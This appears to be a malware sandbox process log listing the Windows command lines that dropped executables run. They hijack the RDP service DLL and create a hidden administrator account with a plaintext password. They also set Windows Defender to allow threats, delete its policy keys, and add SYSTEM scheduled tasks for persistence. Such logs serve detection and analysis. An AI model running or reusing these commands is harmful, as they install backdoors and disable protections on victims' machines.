C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\6CC3.exeC:\Users\Admin\AppData\Local\Temp\6CC3.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\p4ra3bzr\p4ra3bzr.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES458D.tmp" "c:\Users\Admin\AppData\Local\Temp\p4ra3bzr\CSC648976CAD56E4C2E95471312DB8A35C.TMP"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eeby11ic\eeby11ic.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7C5C.tmp" "c:\Users\Admin\AppData\Local\Temp\eeby11ic\CSC7E80C0F4790B4A8EBB6B1B22D2CE861A.TMP"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
-
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
-
C:\Windows\system32\net.exenet start rdpdr5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
-
C:\Windows\system32\net.exenet start TermService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Users\Admin\AppData\Local\Temp\BFA7.exeC:\Users\Admin\AppData\Local\Temp\BFA7.exe1⤵
-
C:\Windows\SysWOW64\expand.exeexpand2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Sua.swf & ping 127.0.0.1 -n 302⤵
-
C:\Windows\SysWOW64\cmd.execmd3⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^rMRqhEQoWQMXQgLMfHZtmEjotrVzghKKxWsooRyoMqguqYanogPNqINnAJVlIvUIywCTXCDbBRanduoyKblqnXJMpSInVVmf$" Obliare.swf4⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comRitornata.exe.com G4⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G5⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G6⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G7⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G8⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G9⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G10⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G11⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G12⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G13⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G14⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G15⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ritornata.exe.com G16⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 303⤵
- Runs ping.exe
-
C:\Windows\Temp\PTofrhojRUJWKHVX\jHqGqLnVjsssakG\PhNeIgr.exeC:\Windows\Temp\PTofrhojRUJWKHVX\jHqGqLnVjsssakG\PhNeIgr.exe VK /site_id 690689 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bLowiBoQzbLXENDkOt"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\XkoxbZHNU\QInhID.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "OggIbhqVwDTRodT" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "OggIbhqVwDTRodT2" /F /xml "C:\Program Files (x86)\XkoxbZHNU\iHutxuY.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "OggIbhqVwDTRodT"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "OggIbhqVwDTRodT"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "idaBJrHYHvBznQ" /F /xml "C:\Program Files (x86)\qxcTFNrCCcVU2\MjjKYDJ.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "nCUttygJgqtHY2" /F /xml "C:\ProgramData\KEcCBLLXBtmTALVB\sEneEvz.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "TYKbDDruuFAlyJdUH2" /F /xml "C:\Program Files (x86)\YNgnTEWyEyseTWGRyCR\WUtbgBx.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "fwFPgMXQeleDHjImVXM2" /F /xml "C:\Program Files (x86)\glhxwepzReiRC\DiJlIuZ.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "aQYNAJAYSQqWAsMAd" /SC once /ST 04:58:37 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\PTofrhojRUJWKHVX\gyqNCPJx\KdPoqKo.dll\",#1 /site_id 690689" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "aQYNAJAYSQqWAsMAd"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "XNQlKrfRLpUblmRkQ"2⤵
-
C:\Windows\Temp\nMJWxioCIAKCtenU\EZuSMLYHCSBlXsM\cXxTBBp.exeC:\Windows\Temp\nMJWxioCIAKCtenU\EZuSMLYHCSBlXsM\cXxTBBp.exe X5 /site_id 525403 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bxXVHDbGydkxZRRGGJ"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\bPOwHEXoU\WgRjuM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "gMWszEyUIHFQcLE" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gMWszEyUIHFQcLE2" /F /xml "C:\Program Files (x86)\bPOwHEXoU\cWAvFmk.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "gMWszEyUIHFQcLE"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gMWszEyUIHFQcLE"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "DTcyabqGwTnDJO" /F /xml "C:\Program Files (x86)\pkhYLjaCWGvU2\AmxGZpt.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "QjSFxPpbUUZiF2" /F /xml "C:\ProgramData\WpAvuyPKjpRvsnVB\ZfZXjmU.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qtIHBiTLaRSlRPAXY2" /F /xml "C:\Program Files (x86)\lVSbegrPyGItQeJXJhR\AxQzoqd.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "TQgMyqzCdwpOaAowgtJ2" /F /xml "C:\Program Files (x86)\paQbspCMBCTEC\wdFstnk.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "QUoPRgJOSlHLzgJCF" /SC once /ST 04:26:54 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nMJWxioCIAKCtenU\qeqgWlsm\VHBMKky.dll\",#1 /site_id 525403" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "QUoPRgJOSlHLzgJCF"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "WZDWCVrgsNpBcofZS"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True1⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True2⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True1⤵
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\PTofrhojRUJWKHVX\gyqNCPJx\KdPoqKo.dll",#1 /site_id 6906891⤵
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\PTofrhojRUJWKHVX\gyqNCPJx\KdPoqKo.dll",#1 /site_id 6906892⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "aQYNAJAYSQqWAsMAd"3⤵
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\nMJWxioCIAKCtenU\qeqgWlsm\VHBMKky.dll",#1 /site_id 5254031⤵
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\nMJWxioCIAKCtenU\qeqgWlsm\VHBMKky.dll",#1 /site_id 5254032⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "QUoPRgJOSlHLzgJCF"3⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}1⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc olTSuBl1 /add1⤵
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc olTSuBl1 /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc olTSuBl1 /add3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc olTSuBl11⤵
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc olTSuBl12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc olTSuBl13⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
-
